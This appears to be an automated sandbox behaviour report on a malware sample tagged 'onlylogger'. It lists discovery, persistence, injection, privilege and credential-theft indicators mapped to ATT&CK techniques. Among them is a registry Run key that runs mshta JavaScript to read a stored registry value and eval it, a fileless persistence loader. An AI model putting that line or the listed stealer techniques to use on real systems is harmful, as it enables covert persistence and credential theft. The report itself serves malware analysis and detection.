onlylogger | 81ec5293c1be63d2bdb173f258830914b3dfd094159211f1703b4666eeca1cbc

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	pub1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	pub1.exe

Checks computer location settings 2 TTPs 14 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	setup.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	search_hyperfs_213.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	anytime1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	k1OH4szQtMcHwENW40z2p_8u.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	InsigniaCleanerInstall238497.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	XdjPbeaoiYCJ1Pl6rf3VC9EL.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	LybSbFkmmvm8Zd1dBzBkDJgO.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	krc5on4IBNinEGpw0OgG2VVI.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	OnL0t407pMUl386TLwIfhQoY.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	lilei.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	79f3143ac8ecd0876d303b852620f479.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	MXCxFj1wVwyBERITQSGVmfnk.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	Install.exe

Loads dropped DLL 16 IoCs

pid	Process
840	krc5on4IBNinEGpw0OgG2VVI.exe
4928	OnL0t407pMUl386TLwIfhQoY.exe
840	krc5on4IBNinEGpw0OgG2VVI.exe
4928	OnL0t407pMUl386TLwIfhQoY.exe
5532	udontsay.exe
5716	setup.tmp
5708	setup.tmp
1304	rundll32.exe
5360	Sta.exe.pif
5360	Sta.exe.pif
5360	Sta.exe.pif
5360	Sta.exe.pif
5360	Sta.exe.pif
5360	Sta.exe.pif
3540	regsvr32.exe
3540	regsvr32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mfoedmf = "C:\\Users\\Admin\\Pictures\\Adobe Films\\fmm8YfQpz5_C_N9yOEK5pBRh.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ghtrh = "C:\\Windows\\system32\\mshta.exe javascript:x=new%20ActiveXObject(\"wscript.shell\");v=x.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\SMSvcHost\\\\ComponentID\");eval(v);"	explorer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	pub1.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
46	ipinfo.io
47	ipinfo.io
152	ipinfo.io
165	ipinfo.io
223	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

pid	Process
1872	2sQ5YRZu8gj8nPv9d3o0vPmL.exe
1924	EJisyTQR8Z8JiOT2DsTM_vda.exe
4628	tZsazMtFSa24dDgrWQnBxd1q.exe
840	krc5on4IBNinEGpw0OgG2VVI.exe
1528	VJjBaSUkFn9MKU3U_DF4UEoX.exe
2260	d5p3lJQGVpDAkppBTH0rR4q7.exe
5204	pub1.exe
5204	pub1.exe
4996	55E5.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2704 set thread context of 4880	2704	fmm8YfQpz5_C_N9yOEK5pBRh.exe	119
PID 5360 set thread context of 5216	5360	Sta.exe.pif	245

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	MXCxFj1wVwyBERITQSGVmfnk.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	MXCxFj1wVwyBERITQSGVmfnk.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bnHoQpKIlSSCUFQrDN.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 11 IoCs

pid	pid_target	Process	procid_target
3732	2292	WerFault.exe	94
744	2704	WerFault.exe	91
2140	4792	WerFault.exe	144
2360	1560	WerFault.exe	202
3608	4792	WerFault.exe	144
2868	2292	WerFault.exe	94
4452	4792	WerFault.exe	144
5968	2292	WerFault.exe	94
808	1304	WerFault.exe	237
3704	4792	WerFault.exe	144
4692	5216	WerFault.exe	245

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WI6JmkyFVjC79pNukNBursdd.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WI6JmkyFVjC79pNukNBursdd.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WI6JmkyFVjC79pNukNBursdd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	pub1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	pub1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	pub1.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	OnL0t407pMUl386TLwIfhQoY.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	OnL0t407pMUl386TLwIfhQoY.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	krc5on4IBNinEGpw0OgG2VVI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	krc5on4IBNinEGpw0OgG2VVI.exe

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1660	schtasks.exe
1780	schtasks.exe
5560	schtasks.exe
4852	schtasks.exe
1852	schtasks.exe
5824	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
5212	timeout.exe
5436	timeout.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
3264	tasklist.exe
2188	tasklist.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
5992	taskkill.exe
5696	taskkill.exe
5880	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	LybSbFkmmvm8Zd1dBzBkDJgO.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	LybSbFkmmvm8Zd1dBzBkDJgO.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	228	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4360	79f3143ac8ecd0876d303b852620f479.exe
4360	79f3143ac8ecd0876d303b852620f479.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe
3020	2sOsIltEH2dGzzqMR0Q5x8wA.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3024	Process not Found

Suspicious behavior: MapViewOfSection 10 IoCs

pid	Process
2704	fmm8YfQpz5_C_N9yOEK5pBRh.exe
4880	explorer.exe
3988	WI6JmkyFVjC79pNukNBursdd.exe
5204	pub1.exe
3024	Process not Found
3024	Process not Found
3024	Process not Found
3024	Process not Found
3024	Process not Found
3024	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2188	tasklist.exe
Token: SeCreateTokenPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeAssignPrimaryTokenPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeLockMemoryPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeIncreaseQuotaPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeMachineAccountPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeTcbPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeSecurityPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeTakeOwnershipPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeLoadDriverPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeSystemProfilePrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeSystemtimePrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeProfSingleProcessPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeIncBasePriorityPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeCreatePagefilePrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeCreatePermanentPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeBackupPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeRestorePrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeShutdownPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeDebugPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeAuditPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeSystemEnvironmentPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeChangeNotifyPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeRemoteShutdownPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeUndockPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeSyncAgentPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeEnableDelegationPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeManageVolumePrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeImpersonatePrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeCreateGlobalPrivilege	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: 31	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: 32	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: 33	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: 34	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: 35	5044	VMmqsy5778VIabLDHAp0ObkK.exe
Token: SeDebugPrivilege	3264	tasklist.exe
Token: SeDebugPrivilege	1872	2sQ5YRZu8gj8nPv9d3o0vPmL.exe
Token: SeDebugPrivilege	1924	EJisyTQR8Z8JiOT2DsTM_vda.exe
Token: SeDebugPrivilege	2260	d5p3lJQGVpDAkppBTH0rR4q7.exe
Token: SeDebugPrivilege	4628	tZsazMtFSa24dDgrWQnBxd1q.exe
Token: SeDebugPrivilege	1528	VJjBaSUkFn9MKU3U_DF4UEoX.exe
Token: SeShutdownPrivilege	3024	Process not Found
Token: SeCreatePagefilePrivilege	3024	Process not Found
Token: SeShutdownPrivilege	3024	Process not Found
Token: SeCreatePagefilePrivilege	3024	Process not Found
Token: SeShutdownPrivilege	3024	Process not Found
Token: SeCreatePagefilePrivilege	3024	Process not Found
Token: SeShutdownPrivilege	3024	Process not Found
Token: SeCreatePagefilePrivilege	3024	Process not Found
Token: SeShutdownPrivilege	3024	Process not Found
Token: SeCreatePagefilePrivilege	3024	Process not Found
Token: SeDebugPrivilege	4820	8qAhgpDGTLdIEQfmpxwCAlll.exe
Token: SeDebugPrivilege	2788	2WtLKR_AxMOSDy8q4f8FxRqr.exe
Token: SeDebugPrivilege	5696	taskkill.exe
Token: SeShutdownPrivilege	3024	Process not Found
Token: SeCreatePagefilePrivilege	3024	Process not Found
Token: SeShutdownPrivilege	3024	Process not Found
Token: SeCreatePagefilePrivilege	3024	Process not Found
Token: SeShutdownPrivilege	3024	Process not Found
Token: SeCreatePagefilePrivilege	3024	Process not Found
Token: SeShutdownPrivilege	3024	Process not Found
Token: SeCreatePagefilePrivilege	3024	Process not Found
Token: SeDebugPrivilege	5880	taskkill.exe
Token: SeDebugPrivilege	5992	taskkill.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
4880	explorer.exe
5360	Sta.exe.pif
3024	Process not Found
3024	Process not Found
5360	Sta.exe.pif
5360	Sta.exe.pif
3024	Process not Found
3024	Process not Found

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
5360	Sta.exe.pif
5360	Sta.exe.pif
5360	Sta.exe.pif

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4880	explorer.exe
2508	lilei.exe
2508	lilei.exe
1540	lilei.exe
1540	lilei.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4360 wrote to memory of 3020	4360	79f3143ac8ecd0876d303b852620f479.exe	89
PID 4360 wrote to memory of 3020	4360	79f3143ac8ecd0876d303b852620f479.exe	89
PID 4360 wrote to memory of 2588	4360	79f3143ac8ecd0876d303b852620f479.exe	90
PID 4360 wrote to memory of 2588	4360	79f3143ac8ecd0876d303b852620f479.exe	90
PID 4360 wrote to memory of 2588	4360	79f3143ac8ecd0876d303b852620f479.exe	90
PID 4360 wrote to memory of 2704	4360	79f3143ac8ecd0876d303b852620f479.exe	91
PID 4360 wrote to memory of 2704	4360	79f3143ac8ecd0876d303b852620f479.exe	91
PID 4360 wrote to memory of 2704	4360	79f3143ac8ecd0876d303b852620f479.exe	91
PID 4360 wrote to memory of 2788	4360	79f3143ac8ecd0876d303b852620f479.exe	92
PID 4360 wrote to memory of 2788	4360	79f3143ac8ecd0876d303b852620f479.exe	92
PID 4360 wrote to memory of 2788	4360	79f3143ac8ecd0876d303b852620f479.exe	92
PID 4360 wrote to memory of 4820	4360	79f3143ac8ecd0876d303b852620f479.exe	93
PID 4360 wrote to memory of 4820	4360	79f3143ac8ecd0876d303b852620f479.exe	93
PID 4360 wrote to memory of 4820	4360	79f3143ac8ecd0876d303b852620f479.exe	93
PID 4360 wrote to memory of 4628	4360	79f3143ac8ecd0876d303b852620f479.exe	111
PID 4360 wrote to memory of 4628	4360	79f3143ac8ecd0876d303b852620f479.exe	111
PID 4360 wrote to memory of 4628	4360	79f3143ac8ecd0876d303b852620f479.exe	111
PID 4360 wrote to memory of 4928	4360	79f3143ac8ecd0876d303b852620f479.exe	110
PID 4360 wrote to memory of 4928	4360	79f3143ac8ecd0876d303b852620f479.exe	110
PID 4360 wrote to memory of 4928	4360	79f3143ac8ecd0876d303b852620f479.exe	110
PID 4360 wrote to memory of 1320	4360	79f3143ac8ecd0876d303b852620f479.exe	95
PID 4360 wrote to memory of 1320	4360	79f3143ac8ecd0876d303b852620f479.exe	95
PID 4360 wrote to memory of 1320	4360	79f3143ac8ecd0876d303b852620f479.exe	95
PID 4360 wrote to memory of 2292	4360	79f3143ac8ecd0876d303b852620f479.exe	94
PID 4360 wrote to memory of 2292	4360	79f3143ac8ecd0876d303b852620f479.exe	94
PID 4360 wrote to memory of 2292	4360	79f3143ac8ecd0876d303b852620f479.exe	94
PID 4360 wrote to memory of 372	4360	79f3143ac8ecd0876d303b852620f479.exe	96
PID 4360 wrote to memory of 372	4360	79f3143ac8ecd0876d303b852620f479.exe	96
PID 4360 wrote to memory of 372	4360	79f3143ac8ecd0876d303b852620f479.exe	96
PID 4360 wrote to memory of 840	4360	79f3143ac8ecd0876d303b852620f479.exe	109
PID 4360 wrote to memory of 840	4360	79f3143ac8ecd0876d303b852620f479.exe	109
PID 4360 wrote to memory of 840	4360	79f3143ac8ecd0876d303b852620f479.exe	109
PID 4360 wrote to memory of 2948	4360	79f3143ac8ecd0876d303b852620f479.exe	97
PID 4360 wrote to memory of 2948	4360	79f3143ac8ecd0876d303b852620f479.exe	97
PID 4360 wrote to memory of 2948	4360	79f3143ac8ecd0876d303b852620f479.exe	97
PID 4360 wrote to memory of 2260	4360	79f3143ac8ecd0876d303b852620f479.exe	108
PID 4360 wrote to memory of 2260	4360	79f3143ac8ecd0876d303b852620f479.exe	108
PID 4360 wrote to memory of 2260	4360	79f3143ac8ecd0876d303b852620f479.exe	108
PID 4360 wrote to memory of 3404	4360	79f3143ac8ecd0876d303b852620f479.exe	107
PID 4360 wrote to memory of 3404	4360	79f3143ac8ecd0876d303b852620f479.exe	107
PID 4360 wrote to memory of 3404	4360	79f3143ac8ecd0876d303b852620f479.exe	107
PID 4360 wrote to memory of 396	4360	79f3143ac8ecd0876d303b852620f479.exe	106
PID 4360 wrote to memory of 396	4360	79f3143ac8ecd0876d303b852620f479.exe	106
PID 4360 wrote to memory of 396	4360	79f3143ac8ecd0876d303b852620f479.exe	106
PID 4360 wrote to memory of 2140	4360	79f3143ac8ecd0876d303b852620f479.exe	105
PID 4360 wrote to memory of 2140	4360	79f3143ac8ecd0876d303b852620f479.exe	105
PID 4360 wrote to memory of 2140	4360	79f3143ac8ecd0876d303b852620f479.exe	105
PID 4360 wrote to memory of 1528	4360	79f3143ac8ecd0876d303b852620f479.exe	104
PID 4360 wrote to memory of 1528	4360	79f3143ac8ecd0876d303b852620f479.exe	104
PID 4360 wrote to memory of 1528	4360	79f3143ac8ecd0876d303b852620f479.exe	104
PID 4360 wrote to memory of 1872	4360	79f3143ac8ecd0876d303b852620f479.exe	98
PID 4360 wrote to memory of 1872	4360	79f3143ac8ecd0876d303b852620f479.exe	98
PID 4360 wrote to memory of 1872	4360	79f3143ac8ecd0876d303b852620f479.exe	98
PID 4360 wrote to memory of 1924	4360	79f3143ac8ecd0876d303b852620f479.exe	103
PID 4360 wrote to memory of 1924	4360	79f3143ac8ecd0876d303b852620f479.exe	103
PID 4360 wrote to memory of 1924	4360	79f3143ac8ecd0876d303b852620f479.exe	103
PID 4360 wrote to memory of 4568	4360	79f3143ac8ecd0876d303b852620f479.exe	100
PID 4360 wrote to memory of 4568	4360	79f3143ac8ecd0876d303b852620f479.exe	100
PID 4360 wrote to memory of 4568	4360	79f3143ac8ecd0876d303b852620f479.exe	100
PID 4568 wrote to memory of 3084	4568	PZgGb7e0HjX6GkW0EKxnrqBN.exe	117
PID 4568 wrote to memory of 3084	4568	PZgGb7e0HjX6GkW0EKxnrqBN.exe	117
PID 4568 wrote to memory of 3084	4568	PZgGb7e0HjX6GkW0EKxnrqBN.exe	117
PID 4360 wrote to memory of 1696	4360	79f3143ac8ecd0876d303b852620f479.exe	112
PID 4360 wrote to memory of 1696	4360	79f3143ac8ecd0876d303b852620f479.exe	112

C:\Users\Admin\AppData\Local\Temp\79f3143ac8ecd0876d303b852620f479.exe
"C:\Users\Admin\AppData\Local\Temp\79f3143ac8ecd0876d303b852620f479.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4360
- C:\Users\Admin\Pictures\Adobe Films\2sOsIltEH2dGzzqMR0Q5x8wA.exe
  "C:\Users\Admin\Pictures\Adobe Films\2sOsIltEH2dGzzqMR0Q5x8wA.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3020
